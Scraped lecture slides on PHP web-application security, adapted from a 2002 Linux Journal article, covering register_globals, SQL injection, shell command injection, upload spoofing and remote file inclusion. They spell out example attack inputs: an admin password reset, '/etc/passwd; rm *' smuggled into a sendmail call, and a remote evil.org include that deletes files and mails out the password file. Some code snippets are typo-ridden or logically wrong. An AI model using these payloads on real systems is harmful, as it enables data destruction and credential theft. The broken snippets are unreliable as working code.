Download PHP Security

PHP Security
CS-422
(from The Linux Journal
Oct 2002
author: Nuno Lourereio)
Secure Web Applications
• Most security issues have to do with:
– hacker attacks
• denial of service
• server hijacking
– common threats
– compromise of data
Basic Rule
• Never trust user input
– Poorly or unvalidated user input constitutes the
most severe security problem with web
applications
• can crash a server
• can cause buffer overflows
– can allow machine to be hijacked
– allow hacker to have root access
– Assume user input is bad until you prove its OK
Global Variable Scope
• In versions of PHP earlier than 4.2.0 many external variables were
defaulted to global scope, variables couldn’t be trusted
<?php
if (authenticate_user()) {
$authenticated = true; }
…
if (!$authenticated) {
die (“Authorization required”) }
?>
If you set $authenticated to 1 via a GET:
http://example.com/admin.php?authenticated=1
the last test would pass, when it shouldn’t
Global Variable Scope (more)
Since PHP 4.1.0 register_globals has been deprecated; GET, POST, Cookie,
Server, Environment and Session variables are no longer in the global scope.
There are several new arrays to help developers writing applications:
$_GET, $_POST, $COOKIE, $_SERVER, $_ENV, $_REQUEST, $_SESSION
<?php
$_SESSION[‘authenticated’] = false;
if (authenticate_user( )) {$_SESSION[‘authenticated’] = true;}
….
If ($_SESSION[‘authenticated’]) { die (“Authorization required”);}
?>
Database Interaction
Most PHP application use data entered from a form to build SQL queries,
this can cause a security risk. Assume a script that edits data from some
table with a form that POSTs to the same script. The beginning of the script
checks to see if the form was submitted then updates the user chosen table.
<?php
if ($update_table_submit) {
$db -> query(“update $table set name=$name); >
?>
If you don’t validate variable $table it could be set to any table via a GET
http://examp.com/edit.php?update_table_submit=1&table=users+set+passw
ord%3Daaa+where+user%3D%27admin%27%+%23
update users set password=aaa where user=“admin” # set name=$name
Calling External Programs
Sometimes you need to call external programs (using system( ), exec( ), popen( ),
passthru( ), or the back-tick operator), this is extreemly dangerous if the program
name or any of its arguments are based on user input.
Instead use escapeshellarg( ) or escapeshellcmd( ) so that users can’t trick the
system into executing arbitrary commands.
<?php
$fp = popen(‘/usr/sbin/sendmail -i ‘. $to , ‘w’); ?>
The user could control $to to yield:
http://examp.com/send.php?$to=evil%40evil.org+%3C+%2Fpasswd%3B+rm+%2A
which would result in running the command:
/usr/sbin/sendmail -i [email protected] /etc/passwd; rm *
a solution would be:
$fp = popen(‘/usr/sbin/sendmail -i ‘ . escapeshellarg($to), ‘w’);
File Uploads
User uploaded file can be a problem because of the way that PHP handles them.
PHP will define a variable in the global scope that has the same name as the file
input tag in the submitted web form. Then it will create this file with the uploaded
file content but not check if the filename is valid or is the uploaded file.
<?PHP
if ($upload_file && $fn_type = = ‘image/gif’ && $fn_size < 100000) {
copy($fn,’images/’);
unlink($fn); ?>
<form method=“POST” name=“fileupload” action=“fupload.php”
enctype=“multipart/form-data”>
File: <input type=“submit” name=“upload_file” value=“upload”>
a malicious user could create his own file specifying the name of some file
containing sensitive information and submit it, resulting in the processing of the
other file…...
File Uploads (cont.)
<form method=“POST” name=“fileupload” action=“fupload.php”>
<input type=“hidden” name=“fn” value=“/var/www/html/index.php”>
<input type=“hidden” name=“fn_type” value=“text”>
<input type=“hidden” name=“fn_size” value=“22”>
<input type=“submit” name=“upload_file” value=“upload”>
this would move the file /var/www/html/index.html to /images
a fix would be:
<?php if ($upload_file && $_FILES[‘fn’][‘type’] = = ‘image/gif’ &&
$_FILES[‘fn’][‘size’] < 100000) {
move_uploaded_file($_FILES[‘fn’][‘tmp_name’],’images/’);
}
?>
Include Files
PHP allows you to include files in your script via include( ), include_once( ),
requires( ), and requires_once( ). This is convenient and aids maintainability and
reuse but is dangerous. Suppose you have a script that includes several HTML file
and displays them in the proper layout:
<?php include($layout) ?>
If someone were to pass the $layout variable through a GET; just think….
http://example.com/leftframe.php?layout=/etc/passwd
-orhttp://example.com/leftframe.php?http://evil.org/nasty.html
where nasty.html contains:
<?php passthru(‘rm *’);
passthru(‘mail [email protected] </passwd);